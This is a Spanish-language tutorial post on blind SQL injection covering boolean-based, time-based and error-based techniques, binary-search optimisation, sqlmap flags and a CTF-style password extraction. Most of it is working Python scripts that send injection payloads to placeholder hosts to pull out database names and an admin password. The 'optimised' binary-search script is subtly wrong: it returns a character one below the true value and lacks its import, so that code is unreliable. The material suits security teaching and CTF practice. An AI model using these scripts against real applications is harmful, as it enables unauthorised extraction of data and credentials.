Inyección SQL Ciega: Estrategias de Explotación Sin Retroalimentación

Introducción a la Inyección SQL Ciega

En escenarios donde las aplicaciones web no exponen errores de bases de datos ni resultados visibles de consultas, las técnicas convencionales como la inyección por errores o UNION son inviables. Aquí es donde la inyección ciega permite la extracción de datos a través de análisis indirectos, basados en diferencias sutiles en el comportamiento del servidor.

Inyección Basada en Respuestas Booleanas

Este método se fundamenta en manipular consultas SQL para que la página web reaccione de manera distinta ante condiciones verdaderas o falsas. Por ejemplo, una condición verdadera podría mostrar contenido estándar, mientras que una falsa generaría una respuesta vacía o un error.

Funciones esenciales incluyen ASCII() para convertir caracteres a códigos numéricos, SUBSTR() para segmeentar cadenas, y LENGTH() para determinar longitudes.

Para obtener el nombre de una base de datos, primero se estima su longitud probando valores incrementales, y luego se identifica cada carácter a través de comparaciones de código ASCII.

Implementación con Scripts

import requests

def hallar_tamano_bd():
    for tamano in range(1, 21):
        url_consulta = f"http://servidor.com/?id=1' AND LENGTH(database())={tamano}--"
        respuesta = requests.get(url_consulta)
        if "válido" in respuesta.text:
            return tamano
    return None

def descifrar_nombre_bd(tamano):
    nombre_parcial = ""
    for indice in range(1, tamano + 1):
        for valor_ascii in range(32, 127):
            inyeccion = f"' AND ASCII(SUBSTR(database(),{indice},1))={valor_ascii}--"
            url_final = f"http://servidor.com/?id=1{inyeccion}"
            respuesta = requests.get(url_final)
            if "válido" in respuesta.text:
                nombre_parcial += chr(valor_ascii)
                break
    return nombre_parcial

Inyección Basada en Retrasos Temporales

Cuando las respuestas booleanas no son distinguibles, se recurre a la inyeción temporal usando funciones como SLEEP() en MySQL o WAITFOR DELAY en MSSQL. Un retraso medible indica que la condición evaluada es verdadera.

Esta técnica es ideal para entornos con respuestas estandarizadas, donde el tiempo de procesamiento se convierte en el canal de información.

Ejemplo de Script para Extracción Temporal

import requests
import time

def inyeccion_temporal():
    datos_extraidos = ""
    for posicion in range(1, 10):
        for codigo in range(32, 127):
            payload_temporal = f"' AND IF(ASCII(SUBSTR(database(),{posicion},1))={codigo},SLEEP(4),0)--"
            url_objetivo = f"http://servidor.com/?id=1{payload_temporal}"
            inicio = time.time()
            requests.get(url_objetivo)
            if time.time() - inicio >= 4:
                datos_extraidos += chr(codigo)
                break
    return datos_extraidos

Inyección Mediante Manipulación de Errores

Si la aplicación expone mensajes de error detallados, se pueden emplear funciones como EXTRACTVALUE() o UPDATEXML() en MySQL para inyectar consultas y extraer datos a través de las respuestas de error.

Por ejemplo, usar CONCAT() con delimitadores especiales puede revelar información como versiones o nombres de tablas.

Optimización con Búsqueda Binaria

Para mejorar la eficiencia en la adivinación de caracteres, se aplica búsqueda binaria. Esto reduce el número de comparaciones por carácter de 127 a aproximadamente 7, acelerando significativamente el proceso de extracción.

Script Optimizado

def busqueda_binaria_consulta(consulta_sql):
    resultado_final = ""
    for i in range(1, 50):
        limite_inferior, limite_superior = 32, 127
        while limite_inferior <= limite_superior:
            punto_medio = (limite_inferior + limite_superior) // 2
            payload_binario = f"' AND ASCII(SUBSTR(({consulta_sql}),{i},1))>{punto_medio}--"
            url_prueba = f"http://servidor.com/?id=1{payload_binario}"
            respuesta = requests.get(url_prueba)
            if "válido" in respuesta.text:
                limite_inferior = punto_medio + 1
            else:
                limite_superior = punto_medio - 1
        if limite_superior >= 32:
            resultado_final += chr(limite_superior)
        else:
            break
    return resultado_final

Uso de Herramientas Automatizadas

Herramientas como sqlmap simplifican la explotación de inyecciones ciegas. Con opciones dedicadas, se pueden especificar técnicas booleanas (--technique=B) o temporales (--technique=T) para adaptarse al entorno objetivo.

Parámetros como --level y --risk ajustan la profundidad y agresividad de las pruebas, mientras que --tamper permite aplicar scripts de evasión.

Caso Práctico en Desafíos CTF

En competencias de seguridad, un desafío típico implica extraer credenciales a través de inyección ciega. Por ejemplo, si la aplicación solo indica si un usuario existe, se puede iterar sobre caracteres para determinar la contraseña.

import requests

def extraer_contrasena_usuario():
    contrasena = ""
    for idx in range(1, 33):
        for val in range(32, 127):
            payload_ctf = f"admin' AND ASCII(SUBSTR(password,{idx},1))={val}--"
            url_ctf = f"http://desafio.com/?username={payload_ctf}"
            respuesta = requests.get(url_ctf)
            if "User exists" in respuesta.text:
                contrasena += chr(val)
                break
    return contrasena

Etiquetas: sql-injection Blind-Injection Python MySQL Web-Security

Publicado el 6-21 02:01